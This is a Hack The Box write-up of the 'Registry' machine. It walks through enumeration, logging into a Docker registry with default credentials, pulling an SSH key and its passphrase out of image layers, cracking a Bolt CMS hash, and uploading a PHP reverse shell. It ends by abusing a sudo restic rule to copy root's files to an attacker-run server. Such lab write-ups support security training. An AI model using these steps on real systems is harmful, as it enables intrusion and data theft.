Registry - HackTheBox

Let’s start with the usual port scan:

$ nmap -A -T4
Starting Nmap 7.80 ( ) at 2019-11-10 08:04 PST
Nmap scan report for
Host is up (0.057s latency).
Not shown: 997 closed ports
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp  open  http     nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after:  2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The web server responds with the default nginx web page:

Let’s run a simple discovery against it using ffuf:

$ ffuf -c -r -fc 403 -w raft-medium-files.txt -u

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              :
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403

index.html              [Status: 200, Size: 612, Words: 79, Lines: 26]
.                       [Status: 200, Size: 612, Words: 79, Lines: 26]
backup.php              [Status: 200, Size: 0, Words: 1, Lines: 1]
$ ffuf -c -r -fc 403 -w raft-medium-directories.txt -u

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              :
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 403

install                 [Status: 200, Size: 1010, Words: 5, Lines: 3]

The backup.php file size is 0, so there’s no content, but the install file looks interesting. Let’s visit it:

Looks like a binary file, let’s check it’s type after saving it:

$ file install
install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200

Let’s extract it:

$ tar -zxf install

gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error is not recoverable: exiting now

And let’s check what’s in it:

$ ls
ca.crt  install

Here is ca.crt:



# Private Docker Registry


Another quote to registry, let’s run a discovery on the docker.registry.htb domain found in the port scan:

$ ffuf -c -r -fc 403 -w lists/raft-small-directories.txt -u https://docker.registry.htb/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/


 :: Method           : GET
 :: URL              : https://docker.registry.htb/FUZZ
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403

v2                      [Status: 401, Size: 87, Words: 2, Lines: 2]

/v2 is an API endpoint for a Docker registry, which is like a repository for Docker images, so after reading the documentation, let’s login to it. Trying some random default credentials, we can login with admin:admin:

$ docker login docker.registry.htb
Username: admin
WARNING! Your password will be stored unencrypted in /home/vagrant/.docker/config.json.
Configure a credential helper to remove this warning. See

Login Succeeded

We can list the available images with a simple http request:

$ curl https://admin:admin@docker.registry.htb/v2/_catalog

Let’s use docker_fetch to fetch all the image layers:

$ ./ -u https://admin:admin@docker.registry.htb

[+] List of Repositories:

Which repo would you like to download?:  bolt-image

[+] Available Tags:

Which tag would you like to download?:  latest

Give a directory name:  bolt-image
Now sit back and relax. I will download all the blobs for you in bolt-image directory.
Open the directory, unzip all the files and explore like a Boss.

[+] Downloading Blob: 302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
[+] Downloading Blob: 3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
[+] Downloading Blob: 02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
[+] Downloading Blob: c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7
[+] Downloading Blob: 2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
[+] Downloading Blob: a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading Blob: f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
[+] Downloading Blob: d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
[+] Downloading Blob: 8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
[+] Downloading Blob: f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff

After inspecting the layers, one of the most interesting ones turns out to be 302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b.tar.gz, which contains this file:

$ cat etc/profile.d/
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"

It basically adds an encrypted ssh key to the agent upon login. After inspecting the rest of the layers, another interesting one turns out to be 2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.tar.gz, which contains a en encrypted ssh key and a passwd file:

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

Let’s try to login into the machine using the ssh key that we found as bolt user:

bolt@bolt:~$ wc -c user.txt
33 user.txt

And we’re in!

Privilege escalation

The first thing that I did was to check the backup.php file that we’ve previously found while running our discovery:

bolt@bolt:/var/www/html$ cat backup.php
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");

Restic is a software used for backups, and every time that backup.php gets visited, a backup of the bolt directory will ben done on backup.registry.htb

While inspecting the web server root directory, we can see the folder named bolt (the one from the backup), which we have not previously found while fuzzing:

bolt@bolt:/var/www/html$ ls
backup.php  bolt  index.html  index.nginx-debian.html  install

Here is the web page:

Also, under /var/www/html/bolt/app/database/ there’s bolt.db, which contains the hash of the admin user:

sqlite> select * from bolt_users;
1|admin|$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK|bolt@registry.htb|2019-10-17 14:34:52||Admin|["files://shell.php"]|1||||0||["root","everyone"]

Simply running John The Ripper against it, we can find that the password is strawberry.

Now, the default location of the admin panel of the Bolt web app is under /bolt, but given the the app was already in a folder named bolt, we have to visit

This is a simple CMS system. One appealing thing is the upload functionality, so the first thing that came to my mind is to upload a PHP reverse shell:

But if we try to upload one, we can see that php is not an allowed extension:

It would be nice if we could change that setting, right? Well, luckily we can, under Configuration -> Main configuration, we can modify the config.yml file:

Let’s add the php extension to the allowed_file_type option, save, and now we can upload PHP files.

At first, I tried to get a reverse shell to my machine on, but after a bit of trial and error (the fact that the config.yml file gets resetted by a cron job every minute did not help), I managed to get one using the bolt ssh session on the remote matchine as www-data user.

The first thing that I checked is which commands we can run with sudo without a password with sudo -l:

User www-data may run the following commands on bolt:
    (root) NOPASSWD: /usr/bin/restic backup -r rest*

Hence the previously found command in backup.php. Exploiting this allows us to backup any file on the machine, since we are running the command with sudo.

We will need a rest server, which we can download here and after compiling it, let’s copy the executable on the remote machine with scp rest-server bolt@

Let’s initialize a new Restic repository, I used p4ssw0rd as password:

bolt@bolt:/tmp$ restic init -d data
enter a password for new repository:
enter a password again:
created restic repository e22c3e433b at data

Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.

Now let’t run the rest server:

bolt@bolt:/tmp$ ./rest-server

And let’s exfiltrate the root flag:

www-data@bolt:/tmp$ sudo /usr/bin/restic backup -r rest: /root/root.txt
enter password for repository: p4ssw0rd

password is correct
scan [/root/root.txt]
scanned 0 directories, 1 files in 0:00
[0:00] 100.00%  33B / 33B  1 / 1 items  0 errors   ETA 0:00
duration 0:00
snapshot a082fd1b saved

And now we can recover the file:

bolt@bolt:/tmp$ restic -r rest: restore e22c3e433b --target /tmp/restore/

And here’s our flag!

bolt@bolt:/tmp/restore$ wc -c root.txt
33 root.txt

Another thing that we could have done is to exfiltrate the root ssh key in order to gain a shell and not only exfiltrate files.

Thanks for reading!